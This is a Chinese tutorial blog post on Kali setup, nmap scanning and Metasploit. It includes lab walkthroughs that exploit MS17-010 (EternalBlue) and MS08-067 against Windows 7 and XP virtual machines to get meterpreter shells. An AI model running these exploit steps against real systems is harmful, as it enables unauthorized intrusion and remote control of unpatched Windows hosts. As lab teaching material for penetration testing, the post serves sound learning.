当前位置: 首页 > news >正文

Kali学习(ms17-010、ms08-067漏洞复现)

目录

一、kali网络设置  NAT模式、桥接上网/仅主机

VMnet0、VMnet1、VMnet8

1.NAT模式 VMnet8

(1)检查服务

(2)创建虚拟网卡

(3)创建kali的网卡信息

(4)验证

2.桥接模式 VMnet0

3.仅主机模式 VMnet1

二、nmap使用

1.端口扫描

指定端口

指定扫描方式

TCP全连接扫描

SYN半链接扫描

2.主机探测

3.服务识别

4.系统识别

三、msfconsole使用

四、 ms17-010  永恒之蓝漏洞复现

五、ms08-067漏洞复现


复现参考:
永恒之蓝漏洞复现_ms17-010 漏洞检测工具
ms08-067漏洞的复现及所遇到的问题分析

一、kali网络设置  NAT模式、桥接上网/仅主机

kali_NAT模式、桥接上网/仅主机_详细

前提了解:

VMnet0、VMnet1、VMnet8

VMware中VMnet0、VMnet1、VMnet8是什么

安装VMware workstation的时候,默认会安装3块虚拟网卡,分别是VMnet0、VMnet1、VMnet8

三种网卡的区别:
①Adapter=VMnet1=eth0(host-only)
虚拟机之间、主机与虚拟机之间互访,但虚拟机无法访问外网。
②Adapter2=VMnet8=eth8(nat)
虚拟机之间、主机与虚拟机之间互访,虚拟机可以通过主机访问外网,外网无法访问虚拟机。
③Adapter3=VMnet0=eth2(Bridged)
虚拟机相当于一台实体机,可以自由访问与被访问及上网。

1.NAT模式 VMnet8

NAT模式下的kali,子网(ip)不需要与主机处于同一网段

因为虚拟机有虚拟网卡,就像在windows系统里玩kali一样,他们的物理层公用一个设备-公用主机硬件,但在应用层上他们是相对独立的-互不干扰,可以同时使用。

NAT的作用能让多台设备共用一个外网IP进行上网。

NAT是什么,为什么能共享主机的IP?

使内网的计算机以NAT(网络地址转换)协议,通过一个公共的网关访问Internet,就像家里的路由器一样,多台设备连接上网,使用的是同一个外网IP。

(1)检查服务

键盘win+r组合键,打开运行,输入services.msc。检查以下几个服务是否正常开启。

(2)创建虚拟网卡

在网络适配器查看是否配置成功

键盘win+r打开运行,输入ncpa.cpl打开网络适配器,正常情况下,与上面配置的信息一致。

这两个信息必须是一致的

(3)创建kali的网卡信息

进入root帐号

在kali的终端输入下面代码(任意一条),用来停止网络服务

systemctl stop NetworkManager
或
service NetworkManager stop

对 /etc/network/interfaces文件 进行修改

vim /etc/network/interfaces

回车之后,打开的这个文件就是,kali的网卡。

为什么是文件?因为linux系统里,万物皆是文件形式。

按下 I键 进行修改,添加如下信息:

auto eth0
iface eth0 inet dhcp

配置完以后,按Esc键,然后再按组合键;+shift,输入wq

然后回到终端界面,输入:

systemctl restart networking
#重启网卡
(4)验证

再输入ifconfig,查看kali是否成功获取到了ip地址

验证能否与外网正常连接

2.桥接模式 VMnet0

桥接就相当于,将创建的虚拟网卡,变成交换机,与主机的网卡连接,使kali可以上网。

先选择桥接的网卡

然后在虚拟机设置里选择网络适配器为桥接

这样就可以使用了,桥接获取的ip地址,与主机处于同一网段

3.仅主机模式 VMnet1

此模式是将主机与kali加入到一个独立的局域网,kali是不能上网的。

常用于封合测试,防止病毒外泄到Intent。 

先选择仅主机的网卡

然后在虚拟机设置里选择网络适配器为仅主机

可以看到主机的ip地址与kali的ip地址,处于同于网段

结果如下:可以与主机互通,不能上网

二、nmap使用

kali的命令行中可以直接使用 nmap 命令。

打开终端,输入 nmap 后回车,可以看到 nmap 的版本,证明 nmap 可用。

1.端口扫描

扫描主机的开放端口,在nmap后面直接跟主机IP(默认扫描1000个端口)

nmap 192.168.189.1

从上图可以看到:它用25.72秒扫描了1000个端口,其中999个端口关闭,结果中列出的1个端口就是开放的端口。

指定端口

扫描指定端口,使用 -p 参数,可以一次扫描单个端口、多个端口、或扫描一个范围的端口

nmap 192.168.189.1 -p 6881

指定扫描方式

通过kali中的 wireshark 抓包分析不同扫描方式的请求信息,从而判断这些方式的区别。

打开kali中的 wireshark,选择抓包的网卡(这里是 eth0 )。

过滤条件 ip.addr == 192.168.189.1 and tcp.port == 6881

意思是:过滤IP地址是 192.168.189.1 并且 端口是 TCP的6881端口。

设置完过滤条件后,再进行命令行执行扫描命令,然后查看 wireshark 中的请求包。

TCP全连接扫描

使用 -sT 参数进行TCP全连接扫描。

全连接扫描:使用完整的三次握手建立链接,能够建立链接就判定端口开放,否则判定端口关闭。

nmap 192.168.189.1 -p 6881 -sT

如果端口开放,就会进行完整的三次握手,成功建立链接,扫描结果中,STATE字段显示为 open

如果端口关闭,就只能进行一次握手,无法建立链接,扫描结果中,STATE字段显示为closed

SYN半链接扫描

使用 -sS 参数进行SYN半链接扫描。

半链接扫描:只进行两次握手,对方返回确认帧(ACK=1)就判定端口开放(STATE字段为 open),否则判定端口关闭(STATE字段为 closed)。

nmap 192.168.189.1 -p 6881 -sS

2.主机探测

扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口。

本质上是Ping扫描,能Ping通有回包,就判定主机在线

nmap -sP 192.168.189.1

它用13.08秒扫描了这个网段的1个IP,这个主机在线

3.服务识别

扫描端口时,默认显示端口对应的服务,但不会显示服务版本

可以使用 -sV 参数,VERSION字段显示服务的详细版本

nmap 192.168.189.1 -p 6881 -sV

4.系统识别

识别 操作系统版本,可以使用 -O 参数

nmap 192.168.189.1 -p 6881 -O

5.扫描结果导出

Nmap使用教程图文教程(超详细)-CSDN博客

三、msfconsole使用

msfconsole简称msf是一款常见的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马。

Msfconsole是Metasploit框架的主要控制台界面,它提供了一个命令行界面来与Metasploit框架进行交互,并允许用户执行各种渗透测试任务。

Msfconsole是Metasploit的核心组件之一,它充当了一个交互式命令行和一个脚本执行器的角色。

1.打开msfconsole工具:kali终端输入 msfconsole

2.搜索漏洞: search 漏洞名字

3.选择相关模块:use 模块号

4.显示出有效的攻击载荷:show options

5.设置目标ip:set rhosts 目标ip

6.执行攻击:run 或 exploit

7.退出到msf:back

四、 ms17-010  永恒之蓝漏洞复现

准备:

  • 攻击机:kali,ip:172.16.17.230
  • 靶机:windows7,ip:172.16.17.26
  • 工具:nmap(扫描)、msfconsole

查看IP地址,将两台虚拟机设置桥接模式

尝试相互ping通

首先在攻击机上使用nmap扫一下该网段靶机的存活情况

nmap -sP 172.16.17.26

扫描靶机端口前1000的开放情况

nmap 172.16.17.26

接着使用命令扫描该主机的操作系统类型: 为win7

nmap -O 172.16.17.26

分析了相关信息后,就可以使用 nmap自带的脚本扫描该靶机上的漏洞

nmap --script=vuln 172.16.17.26

发现存在 ms17-010(永恒之蓝漏洞),使用 msfconsole

使用search命令,搜索相关漏洞

search ms17-010

使用use命令,选择相关模块

“EternalBlue SMB Remote Windows Kernel Pool Corruption” 指的是一个利用MS17-010漏洞的攻击模块。

这个模块利用了Windows操作系统中SMB服务的漏洞,允许远程执行代码,进而导致对Windows内核池的破坏。这个漏洞使得攻击者可以远程执行恶意代码,从而获取系统权限或者对系统进行破坏。

use 0   //选择一号模块,可以远程执行代码

使用命令:show options,显示出有效的攻击载荷

此处使用 set 命令,设置一下 RHOSTS (靶机的ip地址)

“rhosts”这个词在计算机安全和网络配置中通常指“远程主机”(Remote Hosts).

set RHOSTS 172.16.17.26

设置完成之后,使用 run 或者 exploit 命令执行攻击。

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

运行成功后,就可远程命令执行。

e.g 使用ps命令,查看靶机所有进程详细信息

反弹shell

五、ms08-067漏洞复现

上面nmap扫过了win7没有这个漏洞

准备:

  • 攻击机:kali,ip:172.16.17.230
  • 靶机:win_xp_sp2,ip:172.16.17.164

使用命令扫描该主机的操作系统类型:

nmap -O 172.16.17.164

使用nmap自带的脚本扫描一下靶机上的漏洞

nmap --script=vuln 172.16.17.164

存在 ms08-067漏洞

打开 msfconsole,搜索ms08-067漏洞:search ms08-067

进入该漏洞模块的使用:use 0 或 use exploit/windows/smb/ms08_067_netapi

显示出有效的攻击载荷:show options

显示出可以被攻击的靶机的操作系统型号:show targets

选择简体中文靶机进行攻击:set  target  5(Windows XP SP2 英文版 (NX))

设置靶机ip:set RHOSTS 172.16.17.164

再次显示有效的攻击载荷:show options(确保靶机ip设置成功)

使用 run 或者 exploit 命令执行攻击

运行成功meterpreter >,可远程命令执行。 

遇到问题:

Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (172.16.17.164:445) timed out.

可以检查一下靶机防火墙是否关闭,我这里之前没关

相关文章:

  • 算法: 双指针
  • QT Quick QML 添加海康威视SDK云台控制模块
  • 【ShuQiHere】《机器学习的进化史『上』:从数学模型到智能算法的百年征程》
  • 【Git】常用命令大全(带注释)
  • GPT-4.0 新手使用教程(保姆级入门)
  • OpenCV小练习:身份证号码识别
  • linux-----内核(Kernel)与文件系统(File System)
  • 排序---
  • 04:创建PADS Logic软件逻辑库
  • 乾元通渠道商中标湖南省煤业集团公司安全生产预防和应急救援能力建设装备配备采购项目
  • 快速安全部署 Tomcat
  • 电路笔记(PCB): kicad freerouting自动布线
  • UVM仿真的启动(二)—— uvm_phase::m_run_phase()
  • 微信小程序利用canva进行大图片压缩
  • 【人工智能】AI算法系统设计与算法建模的详细阐述
  • django开发-定时任务的使用
  • GitUp, 你不可错过的秀外慧中的git工具
  • HTML-表单
  • java概述
  • node 版本过低
  • PHP的Ev教程三(Periodic watcher)
  • python docx文档转html页面
  • Python 反序列化安全问题(二)
  • python 学习笔记 - Queue Pipes,进程间通讯
  • ubuntu 下nginx安装 并支持https协议
  • 欢迎参加第二届中国游戏开发者大会
  • 今年的LC3大会没了?
  • 如何抓住下一波零售风口?看RPA玩转零售自动化
  • 适配mpvue平台的的微信小程序日历组件mpvue-calendar
  • 探索 JS 中的模块化
  • 提升用户体验的利器——使用Vue-Occupy实现占位效果
  • 用简单代码看卷积组块发展
  • 东超科技获得千万级Pre-A轮融资,投资方为中科创星 ...
  • ​Java并发新构件之Exchanger
  • ​创新驱动,边缘计算领袖:亚马逊云科技海外服务器服务再进化
  • # windows 安装 mysql 显示 no packages found 解决方法
  • ## 1.3.Git命令
  • (6) 深入探索Python-Pandas库的核心数据结构:DataFrame全面解析
  • (C#)Windows Shell 外壳编程系列9 - QueryInfo 扩展提示
  • (C语言)输入自定义个数的整数,打印出最大值和最小值
  • (Java岗)秋招打卡!一本学历拿下美团、阿里、快手、米哈游offer
  • (leetcode学习)236. 二叉树的最近公共祖先
  • (翻译)terry crowley: 写给程序员
  • (佳作)两轮平衡小车(原理图、PCB、程序源码、BOM等)
  • (力扣记录)1448. 统计二叉树中好节点的数目
  • (三)uboot源码分析
  • (一)ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。
  • (源码分析)springsecurity认证授权
  • (转)ObjectiveC 深浅拷贝学习
  • .MSSQLSERVER 导入导出 命令集--堪称经典,值得借鉴!
  • .Net CF下精确的计时器
  • .net core IResultFilter 的 OnResultExecuted和OnResultExecuting的区别
  • .NET Core 通过 Ef Core 操作 Mysql
  • .NET4.0并行计算技术基础(1)
  • .Net中间语言BeforeFieldInit